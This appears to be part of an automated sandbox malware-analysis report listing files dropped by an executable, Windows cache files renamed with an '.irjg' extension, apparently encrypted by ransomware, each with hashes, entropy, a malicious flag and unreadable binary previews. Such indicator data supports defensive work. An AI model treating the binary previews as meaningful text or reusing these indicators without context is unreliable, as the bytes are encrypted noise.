SSDEEP:	384:QGTiz6TM7IXa8bz3MzvYx4YDd2Gy+Oq+BLstUp6n21RMSB5F6AKwzF:d2PIaoz3MEvdRWstUZzzTFowZ
MD5:	C63AF07B27587EBA04325CC0F99F43CD
SHA1:	9A827B041CFA0EA63732AA0B87520AE4B306F576
SHA-256:	217E0C355919898ABD15471CFF20F6E1C561654EF05AC8101E2CB6A60419D367
SHA-512:	666CCB236427DB68AB36BCC94697EBE9DED5CC79609C54C95AAB4FB26DFCFF0EC3C425B711C5E71C3EB1CA5D257F5A1A855690FBDA4C4B98804DA04D642A8576
Malicious:	false
Preview:	.... ])?...^b.-.:.7..Q.....FkEJ7....&P<..t.&...)......6..5..MI...........aJ.d....bX'o.o..J......`..Q..m;.......I...AC..~^`G...VRp..~\.^....J..M.<U.T.....oK3!.b.1.(M..+.z...-..O.?g....A......H...Xf......[.x..lc..O.J.Rv...J}......y1.<...y..)$.i.....C_..RW.T8....s..M(X6.U..~P#.+..........#.....u..ahD.Z...nf.'.<....Q;.8.3..;B........?...U.M..u..:J..b.&..Jd^O..\|..a#u..C.F.7.O...rv.p..i...oZRp~.-.&....6.L..y:] l...;3.~..\.......H...dXG"f........T..9Np..H.......-.'..8.k.`.... .f.;S2..k.fI.....q.`C...#V....3...U.@..m...1C.....Mhk......-;?-..n...y...C.<.F.R...I..U....$0Y.w...c.....-....Ho..?....[5r...MB.nr.13.Nu.....V....A..~...\T...hY.!{W..=.....=.U...$\......F...G...'.........O.....R....%0.N...... i......Afm...@.]..V...w^....V................,K....a.;.._..%.#..".......R[X.`U^`...+.k.B.'ie.m.\|..,..K-....es....S.M.@.&w*.j.k.%.....4.sv......^fe....$..V.DL..P...x..\|.:.>#..m..6a.Q..w..A.rp9~,og2.K.......f.D..W...v.<@.C.J.fV"Y..[.x.<..{!

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989052117375137
Encrypted:	false
SSDEEP:	384:JuHpHtQjpEhym3ElXfUvySzg0GVoVDVrFgrJg9eAoHGbjBbJrbaQU:JuYE73Elg1zImDPiP1GTap
MD5:	CA2E174467ACD7766823651D1CBC0527
SHA1:	2B127353244D703EAA993F270A25DA6D98886C51
SHA-256:	D32320398C557BB6BF5F183CDA994B1E102B41065C3277326F64A104C90606F5
SHA-512:	CA8E533813B5053E15341F939FE3FC416271E02ACFE0A7EDB018A5BD762F41BC329302F8F16DACE6F46845A89F2F76BEB7F5DF2ED0455D368A28FA1956581ECB
Malicious:	false
Preview:	....`e'.._.J.Y..b...&.2.[.'.+.....@m=.p.{.AZ.E4....q..Vd..`...>1.......$.6.").Do....:.`.@.n.......8P7....gu..s.g.\C.8..>/.....T..\|.x..../g.. .z.......leM...sW&>.E.yuqN..\..>.$/r........oI.....F{IY.@.&..Z..I-[...CB@N.s.m.\|0D..F.S..Q.l..>.z%&/.u@.j .n..t..7@Uu.....G.......9.....[W...C.#WqV.q..._ld.p-...).P..K.`.H.....2.g.!....I.c..Dq...5.@X-.\|....sKJ.?...Zap3;(.[+TD.E.X\|,.3.p8].._+.fT3e7#....-V..o.~...(A.G.g@.K.g."+.#c\b?.D.\.p.PE.I..0./7s..........."jKj.K.>=...D......x..X.J....Y........&.>...62NY.-....G...(..!...Z.$.._....F..n....".-.....E7].xE..-{j<...>O/..Vgg.E.h..l......g8....&.B.(......>.`.5..rW.....h;\|....=.2.$.O.~a......-V<.F..@...oF.#.M..E.0.xyr..N..."b9..7....k..A!....r.xH.c>..\|.....\|;..u.#....dI-[BJ T4....ge1..$x...U...g.xqT...._z..Y.......P...~A...%....O.M...........2.{.....8K....GM..........Du...M?.._.F....].8X..&..............7...-73f.n.B...q..N...$.2..&.Bn.o<..MS6`w.Y-+.nh.X#.$....p.r.Hw.[.../fi..m.....3..q`......9..2=..Xk.$..W..{.Q(

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{2135BB99-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.331909356570822
Encrypted:	false
SSDEEP:	6144:Nnb84QdHTUOrC3tFfTb2mfqiBkmm+vyJfbnQkK96B88yKv4bWTmTvEiLSj:lbj2TVoRWmfbbm+6dF4/8
MD5:	0C5D0968AA673C873EE9A836990B41CF
SHA1:	95329B2A499BB1084B537B813E712954F4712AAA
SHA-256:	E85699B8D48A700FA12AD13F9F07363D7CE0799C5333958ED73153A86B936FB6
SHA-512:	39FDD8A2FD4E2B3DC920A792A58F3A4AE4F5740A21DCA7385D6328A0F54CFEE45047B3F5B9A8AB8512DB42936B11FC437D92CCA5C4617F54EB3DACDA28AA4FDE
Malicious:	false
Preview:	.w.. n..O..5..O~&>.8.p....f...5.....].k%X$.....B.mI.'..o......+r..D........vy=...1.{......5@.p.l..M.....O.........}M.5.g..@.1.2L..@.3..3.0t..V........[y....t.\.W.n..Mh.............H.W.[._...0..O.~..v.i....d2..~..YyH...P...?VW.q.f.Y4..@S.c.e......Y..@.#./.\ #..K..ot0......D2.o..._...."..9.A.Gp...%..n..._..#.Q.h..a.XH.="...}.G.s.........).....,..fz.l......r,lQy.mR.J..w..jk..;9.X..fp.....w...F.+..Tw-..9lb"e.<.QS....?.Ik...J..qzy..."!%..>.dY~u...4lW...j.....1@.!.N...w.Ggv...TJ..%.....a0.M.^K...z.P.%.Sk.}..I...:...u.....QH...........gk..g{ ...d....C..I......@.c\..O._,..r...}..7G...F.5A.Q=.nA:..(..A8.P.Q$.......L...4~.....t....n!.%....7..d.......CA.....{..x.uZ......Nr8...UX..?.fF..\.F1r.E..+....Z.q.oh. F.....).R.A...p0...2.o......J.c....ND5f......>.I..f.q..."k...%....{. ..M...........s..S.3.vd.Q.>......Y\'..@.Y..u..^@d.L....-.....px..h..X.@...\. ..%Z..0....o.$.i.l..........a....z}...-4.l.H...q.e~...).^.3...@.Z.M+....../.<o..{......2...\|.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	104062
Entropy (8bit):	7.998168214814128
Encrypted:	true
SSDEEP:	3072:3Nhr1W8hX0z762tHpQKM0SyiaGyBhDiGugiWr61mE:3NV1WbmHDaGyDDRTrjE
MD5:	70319DDE29F596D9A4A9F48AD57B4C32
SHA1:	1C581372BDB39D1C5B86D6944FC6382624CDE197
SHA-256:	A5B97C466D78303F400E01441A39B56148835EFF69EFDCDC32F9BC066DBC9593
SHA-512:	4EB3354FA63E21E2ED0A62ADA5C143D33A3E8BEDE59E689CEB2020A3B9AF4DBAB3FE087911673534DAEE7F70D366048ED63B3890B41B43D46282184F8C3917A9
Malicious:	true
Preview:	....h..X.B.......p.I...AG.........]i..x......fT...j...V.&.K.B.....h....I.._....;...ok...9..h.,..-..f[a..8.....{2@.]..9..xwBU..G..Y.EO....'..O.4<.l....G.w.mR..y.k..oE.s.a;...r:...y[...m.>..xd9^3?D.Q....e.Q]!Z(....."^....BRq..C&..J.L.....sL....v.n..D.Sz.7e..D.-.+......Q..Lt....cd.M.t.F.....I....9.....6E.W:.cI.c.... ...@....sD1~......VM.'..vT34I.<V-.].......f."....a.....;......?.!...ID..`..O..:.Kdn........5..M....0.Y../...V.....%&J...C.Cg.6..T......k..Rx..=..ji....\..$w...2..0.pcQ..v.`.s)2L.r.\.~.l......L.....\|EK&d....S..j.EE...&..L?.<...?..~..C.U)...@.... .S.}..Ja..X.#l..n.A..).s...l.#.....:..U.{.X"..fZ.mj...I.:I.Iv.^.-.....M..c..S..]g.q.%4 -...z..>y..........@$.....SZ&9\+....r.D.tm_.......ByB..:.N..q.a&..e<...?..q.......gY...b...z..#X.$P.O.\|..{N].R.(..?^e..t.....$p....+....qJ./UW)W.5.IM`.wr..........s..342W.p>..d..N..i...S....QkpI......k.d..\.PO ..O.<2%.}.)*7.\|.........#..e.....@.i.o[.Jzj..+.r(.....B..>.6.l.?.x....3Z.N.fe.!eD..w

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	102814
Entropy (8bit):	7.9981064472474435
Encrypted:	true
SSDEEP:	3072:V1JweoED3zPB8Qchw5SWbgQjhptaX9kBiH6z2Xcz8igWYymYV+aZ7:PEE3zPKQkQBlOX9kBVQc5F+aZ7
MD5:	8949AB6A6A8AC4342F89C0CDC17846D4
SHA1:	CE4AEE1CE2A1B9E0D7668B885E576C080780409D
SHA-256:	F6D17227F15492AB8826D3729E26D6DCB0284C6379884CA9BE2EB31013E12D74
SHA-512:	282F63B071960EAE42AC7A638643EC612A1436B6C57E0E96DB09B60DE507F1F14DC8CDBDE62AB79ED19416CA3E485A594804B83DBFAE1677A0A6338B4D25BCCD
Malicious:	true
Preview:	....hc...`M."..2.;.Et.s).F...?8..U...%...........#.!w...;.A%......s..M.?'..K..I..T...G....g...z..:.....5?.<9n.,?...{i3s...K..:.]...m(...U.d....6......'.....}..5.mV@.u..&aC..SN.r2..jN... ..A.K..x{D...m<..6l...~.q..15G2lxi.G.....XiGpz.........6<.y@j.d......"...!O.....@.(...o...+w.W.....U\y..q...I..e.B.w..!.....o.....fK..(.-I.......E.f....<..B.!.......o...@.2`K.+.k.K....C.l.wp.....E..\...`.s.....u..Wq.t\.h...N../P.....<x1(.Wp...`:......E..x..\m.z.a.s...6.5Qy.....O.Z{)n..=_K...4..,-..........@..dm<....+....lh.E.(.9.M..0.:=...Z.......m....h.i9..!. ...s.T\.U."..c.uk....Zw..;.O.ox%.?..._.........p.oO...E....P3&.w.\|.V$7......Gyr^.$.'_om......I....._aHE....$.W`.c....02P#.?....5.#.`~..&.+......\|..H?w`....{gb.@H.I.J.19...p.=.yJ..h.v..u.<m.v.Z..-.{.3...Ey..%J..d.=:\...4.g....1.0............2.Mb.J.rM.\`UJ0...+.r.]..brD...J...k ..&...m.....&.~8.:.d...y.M.l.bqe.,JyL!*......m....u.....I.N.~}.Z..R..e_B=x..n.s.>.w.g.<.%.."..l.....85.S...R.4..d,,.r...br.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	75398
Entropy (8bit):	7.997925177045382
Encrypted:	true
SSDEEP:	1536:LeQacM9CjW4Hv2AVdmflwaDIYjLpsFNcRS6AZ4rOPkNF0SSH5A:lacMcjWRAVdmdwzYjNocRyZ4rOPkoSSW
MD5:	A383A614861BE483F6CE2BB6F71753F1
SHA1:	8C00218DA59898244CFAC41272D161FB8EAFC70D
SHA-256:	CA71A451785DD3BBD500A64C09CB8A183E39737AD99072377C2A68FC6F0FBC52
SHA-512:	063623BCB88D83D415D8FCF115ABD5827F7591EEF9AFE65E7343B8C41E8D1F17AAFDB957AAEAAFDF74A79D4FE182487F60355203F2AC531B094A06022D0C3E3B
Malicious:	true
Preview:	......4.z..F\Z.C^.....%.c..#=,.....7....1.$b.8.?......Fx..E..w../1]_v.6..u....>:..p.~v..1.T?.].s...X.....Wl...8.o...g. ..S...#...hr..Tvc.n.N..._.m.,..P..D..T?75..O..Ros.k....... ...............:Y..&>]..qqs..iLJ...S..H..3...pG.E..E.+.=/..m....0.?.X>.. ]sV....7,....#a.n....X.e`.U....g...PaN..6...=2i....}...6.W.m...2+.k.s.z.....8^.....6<..k...F..u.s/.M..O&.r.....`..\|C.......-+.a...'../.}.._.......<.....)p..J.....C.....>.2._}.....<.hS.F....*9.....+ZY.....l.+...Q>..8....K.XT.\|V..u....c.-.v...H_.#....S...;2F..L.!.t..lr...2...5...%o......9...Da=SNs..P%...;....Z....@CO.y.P..'.....83.{..$.........nl...w...Qqh..cT...<..W.....h..p..\G..}.J_.v......b'.Xp^.i...S..r;)...).\%Z....A#.:.j.Q.....+......:....+D...Q.h..gY....Uvb..`\|-..!.z.YeB5.U.MB.2\|\|j..7.....;@.{....w..K[ck..b..o.....`..{......A.......l..LT;u.}.mpY..3.\|3 %lxx....\|.... ...B.8b8..h+.C...G5..&.........z^.......HW......{..F.o...4....3zPi2.a.e...kk=.X...E.F...e....O......Z.]@...XK.}T.?Wd

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	105318
Entropy (8bit):	7.99834323190939
Encrypted:	true
SSDEEP:	3072:xhutu3XMVERA65cKNPi88+ah4pzbLZ1nTWh2T:xhr3l6zKShWbdUy
MD5:	23898FA90D4E04C15D8DB2B5B9C9693E
SHA1:	95FDBE7072E8FA81ADFBDC5C0CD7E1B74F50637A
SHA-256:	F6BAB88FCD062D8B355879428813ED263E8A7A8CB02CF94CE4E4E26C9E5B8D2E
SHA-512:	CC68AE6AB0BEB952187AE7FAEA66FD65EB369B4343EEC8E6F9D54767674F831DC8CAF1128D40D839C48757E7796C179F7CC5AC49F4093276BBDF1A0622843CD4
Malicious:	true
Preview:	.... I...M.>.u.8.....o".]..+..BSVc...........WW.%...e>.T.TW.H...W..k....+Bo....C..ffY...r.T..{xl.+.b. ...4.M.......[..=W....A/lIX...Q.r...t.F...9 .4......../.B..q ...r&n.@....(V..Y.....,.z.".a.M:4....M....gC.U..X.......{,P...1...i../u..'..(...6\..x-2. ...e.&,7.M.o.....o(K..N..~.+Q.z......t'.-FD9..0..d..5...W....0D.OY..hQ.y..E.T&..J.A...AJD.7...p...)s..,.:...Z...$...f...D.....^..~..8...W....a%oE.(....{..6...q.._/..\|.U..l.2.a.....f..1.T...{f.;..~.,4...W.J.)....l..4ai...a....l.\....k.?s7d92...1b.+.mO7....):....S..V.........+p.B._......\.N...D..<.......,}.:.,.u...j$.......IJ...z\|......7...2..J)IN'y.......,.6^...u.I.#]...Z.... 6.......D....<}-3....nX,Zrt.F].Rh.F.h..e....[^...B.:....uV1......O......r..\|.$-.23.....g.e..u..FIb..H..PU...'g........t$....{....=...h...3..@.SgHR.v.~..c&....h.....s....kF.2G..bFKY..@..I~.'....,...bc.Q 8X..k..J.C_%'....T..jM.....3.....-...&?4.y..].?... ^..f.9Y9.....a....@<6..L.....I.3X).).v.q\|.."...@vQ.N..<.q

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.736226161693321
Encrypted:	false
SSDEEP:	3072:mPGYHn61UgGeRSzDeiEMEMacD+pJcl7CUCqBmYDlmPLEX/prWuFRdvCNh81mwjjR:FYHncEeirf5Cf+lTFFiNa1mYSOb9P
MD5:	FED806575553D79CEF4EC97EC5D40B7C
SHA1:	BE2AE500D153902DA47EB9D70AA36E82A469F371
SHA-256:	2252ED82094A33B0B8FF53DB0759B94C3D04CE66DEC9407C739FC873D954D676
SHA-512:	067C3D21FF8E5116F8412284BCBDE4CE6CC171FA2A80A25676FEA64D54BE03F4A2CEA0A165D2CA400853C2A10A671A08C18A00A673DC35C26FBA573026E9B3FD
Malicious:	false
Preview:	. .....8B....:~.m.....sY....j=..M"..;.!(?:....`0.4.B.......Yk.+0+?.!..C.0 .H..bd..77....L..:+/.[J/.i..4.<.z.k..b.J.E....f.....a....:..8.X @..l..2Fl{.tJk!..\'.....".....@. .....i'u.3.+R.R..zJ ..`.J..#\]l.+..h...Cb.........Y=.F.f".@..+......RX..a\4.i.>...d.\|.d. .......ARuG....q....R.....?or...!o.W....A.:=}j..&..sgww.?....%.d.A.....\|.5.l.K.Pm...'6.>.....H.a.3......'K.,..D..q!JOA....].8.%.....O...........4...e2..b..;.3x.n]f.....{wV.9.[....i..7............l."..../{\LOE..%..3..x.t.......~8..j..[.Z./+.O..U..rNj..t./...C.Z....p...c.@~..0.9...;R..zX.D.o...K\|.........y.(X7@..Z..d..\JS...l......#.....AS..d..W.7.B.).".O...N.s....$....(..$Z......K.6.s.4....H.?.e..u...Q..(....m&p.I..+.]\......p..(1-P.%T{.>qH...l...e..2..i.Sh...`.t...Pd..3..u.4)....0...X'KA0...(<........(1........n.vD ...O...A..1/.p..Z.._"C..o..P.@.!W..f.Oa1..@....7.wl.b..`G..y.;ST.{..U.K.&8.@~zG.../........dnm.g...Q...5#!......P..1s.l.j.........:]..<...z......7.J.....K].B..B3.t .>

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993190661405045
Encrypted:	true
SSDEEP:	768:pt3wTLm/Rg+wF1zR1KiXHrzeBfx8RTHCAo2:X34Lme+4zTKiXHHRbro2
MD5:	4BF6AABB3408E1CF7AC568736DD09C53
SHA1:	9C381EFE56E31CB386D7DE69F29E0C511E41AC3C
SHA-256:	BFC4D727225A352414FC0CC6B8BB4AD5FAE93D18DDE37A32968F1C354132E553
SHA-512:	287C04FB106F018BF22ECA138769EEBCBCE492F81FB10DFF20C2CCEB81B9703F88ADEBBA73A1C3CC795D3AB7D3AA118E951ABF5A2A14DCE1C8FFF3B60F262CB8
Malicious:	true
Preview:	. ...5K....G...g..#..u.............>7fk..g.-..%..N..L....y~......!.?@5.9..s.K..?9..Bq...D.W/y..q.....B...lM....8;+.?.].s...`8.eL... .Q..'^e..=..h.X.(.....).V..P.J...9.$'i.#...I.&d.C1bN.0f....3c ..9V..)I..Z....s..i....n..oa....v.....e.b3..TF.6.a+....V..k..+......x.<....f>m...}C..xY..iX.j..=..._w..^%9j.$........jg"...O...'..#...l.%....Vk.x....??.5.?.@P.B...0.~.a...s....#00E-.1r.e8.:HH=./]..;.S.f..................k.R.....M.XT....N.K..;...Q...W....0.!_..F...X.4{?.;yRD.I..i.....8,.MW3.PC>...F..n&C.....k.l7.{..k.!yO...#]...\..Fh...FY]~...v<{.p-+^.z@Ll.,.D1W,......ws..u.K....G7F7.^p.........%.&cIT5a..r`...'S3..2......@.s....+'\..\|r.+.h..&.... ......X.zMju\|..5]..../..Z...#\....W+<{Tq.'\|....{f[WI.Y).-.SX.s8(.B.).t.g..i.."...0..._.. (.w....2...L........z.<6..B.UZ.....&....i.TZ[^...Z..._K.`...f.t.......I..8.;..9..-..A.`....>.hm.......i.iz.}:..{.......2q..[.eEh05R.G......;...Y.\.L.\..Hx.0IC...m.\.:.....O.*'m^...&..[.Y.L-.\|.E.........T.{..o

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1280.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.191659204847643
Encrypted:	false
SSDEEP:	6:JBu0FWRHGETxVjqGHw0vj7QsYFcmOaSZlAmxle2BcWTUbxhy7r9/QMS12KdM9Hsw:JBu6WRmETLvj7QIaSZljxleacNxk7JYu
MD5:	55F30A209B5B5BCA81BDD90387214721
SHA1:	53E95857D8134BD459EA147A341121B068F58015
SHA-256:	04F9AA433D53555D43D3DA0708C24B767974DEC4EDD091A1B5EAF6701B96F324
SHA-512:	BE553440A800FCA739CAC91E09606DDC5C0C0743A44714B11757DA1FE866F1BF6286D7C78B06F20EAD57D5DC6046C11040BAF44C0F159ED3EC335AFA8BA25725
Malicious:	false
Preview:	CMMM -.T.C0e.KL<..j....fl...&.....V;....D5...\|.N..Jg.QBgbe..R....}A.B..MO....sx.K9.p..~.......&...&..$...}...^k...w.x...6.2.:..C.\|.A<...P.......Ku...I.n....d.D.NC..D\|.T..../......[..9....M.B.T...)...N!.6Z..gP).'.-... ..f.YeaWW....N.e.V.FB\.~..wj...B.?.M.......*.......Q].xxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_1920.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.203869925665318
Encrypted:	false
SSDEEP:	6:GQqmY/PRA1PgxHxWvvtOdDxNpwJLRnS87SydVgqrgrpfu/YjeL+HhSU39Hs2xciD:ZqdPRkPgxHx0vsDBwJlS8DCqWFuxSHhj
MD5:	172E8A62A25A10A7B4F7F95526698DC9
SHA1:	CA3BD7F23D6764952DE837A3F2F80144C2C378ED
SHA-256:	F909BB2657608BEC9C880DA745E96ED5052810950BEC47455981DE08A17D0F13
SHA-512:	DF5FBB580E361E8B07C8AEFA0922C49461D080CB7802B9478C01C10076FC675C7C169D40FB11F66D1C8C16D2CBBDBF1E50E1E1CD776B298BC31D476AA125A203
Malicious:	false
Preview:	CMMM .N......g....6...l"..Vu%.......MH.S^..n}.E.m9a.r...bw..>.T....lh`3...#...a.......e..Mf/M{.4aM.D.^..5+N7Zd#~A.i.!n.l.<pM..>....+.4.9...d.3..!..C.....8...]..OE.~..T.... D...&FnY}b;Q....$b..as.T(.OSJ~n..l...>.!.jO.k...e-b0...oK.cs.....o.z...(.<gSM......t..a.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_2560.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2515919412377325
Encrypted:	false
SSDEEP:	6:JzDpq6F949tPE+tCmtbDCSb+7QvN31CB70EDYmmCWQTFr0p9Hs2xcii96Z:BpJXiVCmtbe5QF38IEDYm3l0p9M2ciik
MD5:	60920939CB9961927BCB407A4DB065F7
SHA1:	98C720E1A6B2FA8B38EB2C0C0DA9CC2A02A0B040
SHA-256:	71751F050E536EDC87646AEB11E571EFF971A1D219B42ECD952C0CAFA5A5C8A0
SHA-512:	6F718CC2746A022C1270BB0B5EF3C9C960D5DBB5E1740B66C156C64D92875EF864508829D42322CB96E88DB95DC437C7FC1191BD8C1E5D732944FF470FECFF6E
Malicious:	false
Preview:	CMMM ....Nr....A0.......<.....M[.K ..MT..Su*.........'"&.U s.;x.G..x..]..x`.a...' ..f....z..1..x..e..:.t58..$....mP>X.qP~W5.]..........8r.h`nkgIK.}}j....z.........."R.m...A........x.$..G....ds.q...I.?..v-%....P.....}.K`A.o.. ......7"...6.:L.B)w.Js......<9....vx!2u..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_768.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.264413422985731
Encrypted:	false
SSDEEP:	6:ocyjFTUK7z308CROM9TNiR8Zs8l/4lVgTwC9Hs2xcii96Z:JaRE8sX9Twmi8OVA9M2cii9a
MD5:	8E566C73575E7E9F6E374147E684BF83
SHA1:	390AEDA462DA4EF6F4003332FEB3CF3C8F2D1600
SHA-256:	98AF1728A48878BD2E12B80680D70F5B86D1D94649F811DF90B7BDBDE7C24151
SHA-512:	495F7291C7E9E0559A80D11A1DDAA77CA59200FD11DF2657BFC7460B7A1D966B94A8DF2EFC064E2781904A1DA7FA37AC51A42D7D7C2097F8D1CD0A6A39D8FAE6
Malicious:	false
Preview:	CMMM d!j.}..n.N.w+@CqT.\.JW...H.....vn._..~..^q+..+a.....d....I...M....)..5......2.e....I.1%.....\|4........{y.....b{N[u..HM..3...z..v...eD...IW.9..L.D..%..s...c...f....`b._6...{G.6....h(p1rH3..V..#9...s.....'7PX..\|tn.._<.J...la..t.DW....e.x....9..h)...zm0.;Z..X...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_96.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2401728933255125
Encrypted:	false
SSDEEP:	6:CxTWWQeIEhflUGvZR9IAy70nusuwgks4UaXybCbUYvetjAI9am9Hs2xcii96Z:CBWWW4lFvZUN70nRg7cCbUveam9M2ciD
MD5:	71887804774E2BF5CCE8CDEA8175600B
SHA1:	D4972E4A54A3E54D1F2427610CE69C081F51FA60
SHA-256:	5F1C7B8AEC705AE8A3004B8197C01A62230DEA8311D7389F5E2598719800DED3
SHA-512:	D91A5833C6145162B069C0AF737E3C8861CE5A28F0E73D65345B65BB9CD4231D23BBB80E3A8BE44242F0BB28DDC9E662D07C96CA9A5C3BB1990769D873CB8C2F
Malicious:	false
Preview:	CMMM MI.v.TbzHn.1..%.F..m$`(T..Ox.4....w.....9#n.x9L.....A....f}.Aq.Q...qY..(As.F..K..S.R..D.e0nU..{.K..*;.'&5......HD.4.5V...^lQN.^.-.....XUX....>N.....s~.i.....J.9...y... .I..?.@........P.f.=A.6...4.0.S.....@..n..^.L...<d..\.xqUgn.w,\|c.....A>....F......G..u .6I.!..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_custom_stream.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.287362426815963
Encrypted:	false
SSDEEP:	6:EscidldGj2Nu7kwvyiQMCvHo4K5KL59WHH4Zh41oYNCsvIDH+u9Hs2xcii96Z:9c2rGC5wZDCvTjZhkosQDB9M2cii9a
MD5:	B4B1EA29D7B296EB20345E33F424C595
SHA1:	1ED24C333605E40AD35E69DE4EEE90CA1B03A6EB
SHA-256:	0F926ACADD10059C0D450ED60476468427A78F15404C65EB49D81727BFEAFD2D
SHA-512:	7604CA91665687B4258BB24BEF909F8EE33465EA92AF61EE0CB64BCEFCAD17AEFD5931697F5F670954E814B100C26E8149E49E299FC4A00EEE59336833B618DA
Malicious:	false
Preview:	CMMM .5.h.vo..['..-:..n...........<..\W.M..q.3.#.sn.O-....I.,.\|b.P+^e....h.Ij.SY.Z....uT..g.Hm.....U.-.+]..'C.g.......V.=....B....a...H.!O..Z...U.p.....R...u.9.w...t.<".........@.....-..<..[...z..4.......gq.w.......3<@.Y.}.<,PU<....jr...h....\,..K%..P..{.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_exif.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.213115858805282
Encrypted:	false
SSDEEP:	6:AVOGeKY6gXZLgyd3h2bhIJgfCy/U0X+llHoWOvYvcWWI/srpkBQhcMWDs9Hs2xcq:wOA7gu/hggfCypOllILAfTsrpkA9M2cq
MD5:	E8B8A82219406DEB579E1BC46E0ACD32
SHA1:	D143AD19AADD43E4A1F8C454ED9631EA0B93D235
SHA-256:	5EC155BC38158EC8B452E8F58D8DA191297ED95E854E24734DDE61E145A001D8
SHA-512:	80A209B737B38A136CEB73242CCC8880050F51BAFA14FDC785D995FACB066EA651CA44A14B876070D3D79C9D8627EDC3A63BB8821DB74C3FBEE2060E13007069
Malicious:	false
Preview:	CMMM ..'0M.....d>...o.S.0...4..^................<6.{..l......6KL*4.i.....9...3.ug{+.=..c..{>q...-x~..."..{.....j..9n.dl....#.l]..U[Ss.-...@......@.....`."........"...@Co 3].f..8@Jk.!}J[..H.....T..sO~0&.F....p:..b%.....#.......\-%]=.D.tN.o.z....~....J.....Iem...%AL...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\iconcache_sr.db.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.292787408908226
Encrypted:	false
SSDEEP:	6:0jqHr8bxubLwehkMN0NoiXR/LxFpRDV69l4weCZpv5QeIC39Hs2xcii96Z:BwNnehkMN0Z/lbq9l4BoX739M2cii9a
MD5:	E2A9B83EB4C415D03AA3D402902B39D1
SHA1:	697221275F7B459A205AAD640D8FC946F5109095
SHA-256:	464619243530D4FAA9BB9D4F1B8ACB4A56CBE886029ABBE244409BB52076277B
SHA-512:	49EE0158A762A19BF0CAD348E65B26D26507EF8E67EF816ACFE8AFB0FECF732E10DC3068A569CE871BA500B3773B1BAE1077E1F9477C8079B577B6622B823810
Malicious:	false
